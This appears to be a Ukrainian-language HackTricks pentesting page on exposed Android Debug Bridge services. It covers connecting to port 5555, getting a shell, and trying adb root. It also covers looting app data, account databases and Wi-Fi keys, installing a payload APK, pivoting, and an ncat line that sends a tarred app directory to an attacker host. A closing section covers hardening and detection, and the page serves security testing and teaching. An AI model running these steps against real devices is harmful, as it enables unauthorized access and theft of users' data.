5555 - Android Debug Bridge

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

З документації:

Android Debug Bridge (adb) — це інструмент командного рядка для зв'язку з пристроями на базі Android та емуляторами. Типові дії включають встановлення пакетів, налагодження та отримання інтерактивної оболонки Unix на пристрої.

  • Історичний стандартний TCP порт: 5555 (класичний режим "adb tcpip").
  • Сучасне бездротове налагодження (Android 11+) використовує TLS-парування та виявлення сервісів mDNS. Порт підключення є динамічним і виявляється через mDNS; він може бути не 5555. Парування виконується за допомогою adb pair host:port, після чого слідує adb connect. Дивіться примітки нижче для наступних наслідків.

Приклад відбитка nmap:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Connect

Якщо ви виявите, що ADB відкритий і доступний, спробуйте швидко підключитися та перерахувати:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • Якщо пристрій вимагає аутентифікацію ADB (ro.adb.secure=1), вам потрібно буде бути попередньо авторизованим (USB RSA auth) або використовувати бездротову налагодження Android 11+ (що вимагає одноразового коду, який відображається на пристрої).
  • Деякі образи постачальників, інженерні/користувацькі збірки, емулятори, телевізори, STB та розробницькі набори відкривають adbd без аутентифікації або з adbd, що працює як root. У таких випадках ви зазвичай потрапляєте безпосередньо в оболонку або оболонку root.

Для загальної довідки по командам ADB, дивіться:

ADB Commands

Швидке пост-експлуатаційне тестування

Якщо у вас є оболонка, перевірте привілеї та контекст SELinux:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

Перерахунок та захоплення даних

  • Список сторонніх додатків та шляхів:
bash
pm list packages -3
pm path <pkg>
  • Якщо у вас є root (adb root або su працює), ви можете отримати доступ до /data безпосередньо. Якщо ні, віддайте перевагу run-as для додатків, що підлягають налагодженню:
bash
# Без root, для додатку, що підлягає налагодженню
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# З root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • Корисні системні артефакти (потрібен root):
  • /data/system/users/0/accounts.db та пов'язані дані AccountManager
  • /data/misc/wifi/ (мережеві конфігурації/ключі на старіших версіях)
  • Специфічні для додатка SQLite БД та shared_prefs під /data/data/

Ви можете використовувати це для отримання чутливої інформації (наприклад, секретів додатка). Для приміток про розгляд даних Chrome дивіться питання, згадане тут.

Виконання коду та доставка корисного навантаження

  • Встановіть та автоматично надайте дозволи на виконання:
bash
adb install -r -g payload.apk         # -g надає всі дозволи на виконання, оголошені в маніфесті
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • Запускайте активності/сервіси/трансляції безпосередньо:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Переадресація портів та піводи

Навіть без root, adb може переадресовувати локальні порти на порти пристрою і навпаки. Це корисно для доступу до сервісів, прив'язаних локально на пристрої, або для відкриття сервісів атакуючого для пристрою.

  • Переадресація host->device (доступ до локального сервісу пристрою з вашого хоста):
bash
adb forward tcp:2222 tcp:22       # Якщо пристрій запускає SSH (наприклад, Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Відкриття локального сервера налагодження додатку
  • Зворотна переадресація device->host (дозволити пристрою досягати сервісу на вашому хості):
bash
adb reverse tcp:1080 tcp:1080     # Додатки пристрою тепер можуть досягати host:1080 як 127.0.0.1:1080
  • Екстракція файлів через сокети (без записів на sdcard):
bash
# На хості: слухати
ncat -lvp 9000 > dump.tar
# На пристрої: надіслати каталог як tar (root або run-as за потреби)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Бездротове налагодження (Android 11+)

Сучасний Android реалізує захищене TLS бездротове налагодження з паруванням на стороні пристрою та виявленням mDNS:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notes

  • Порти динамічні; не припускайте 5555. Імена служб mDNS виглядають так:
  • _adb-tls-pairing._tcp (параметр)
  • _adb-tls-connect._tcp (підключення з парою)
  • _adb._tcp (старий/прямий)
  • Якщо mDNS фільтрується, класичне USB-підтримуване увімкнення може все ще працювати на деяких збірках: adb tcpip 5555, а потім adb connect <ip>:5555 (до перезавантаження).

Офensive implications: якщо ви можете взаємодіяти з інтерфейсом пристрою (наприклад, фізичний доступ або неправильна конфігурація мобільного MDM), щоб увімкнути бездротове налагодження та переглянути код пари, ви можете встановити довготривалий підключений ADB-канал без кабелю. Деякі OEM надають ADB через TCP в інженерних/розробницьких образах без пари — завжди перевіряйте.

Hardening / Detection

Захисники повинні вважати, що будь-який досяжний adbd (TCP) є критичним ризиком.

  • Вимкніть ADB та бездротове налагодження, коли це не потрібно. Відкличте авторизації USB-налагодження в параметрах розробника.
  • Переконайтеся, що мережна політика блокує вхідний TCP/5555 та виявлення ADB на основі mDNS на ненадійних сегментах.
  • На пристроях під вашим контролем:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # вимкнути прослуховування TCP (або використовуйте: adb usb)
stop adbd; start adbd             # перезапустити демон
  • Моніторте записи mDNS _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp на корпоративних мережах та сповіщення про несподівані прослуховувачі 5555.
  • Інвентаризація для небезпечних збірок: getprop ro.debuggable, ro.build.type, та ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

References

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks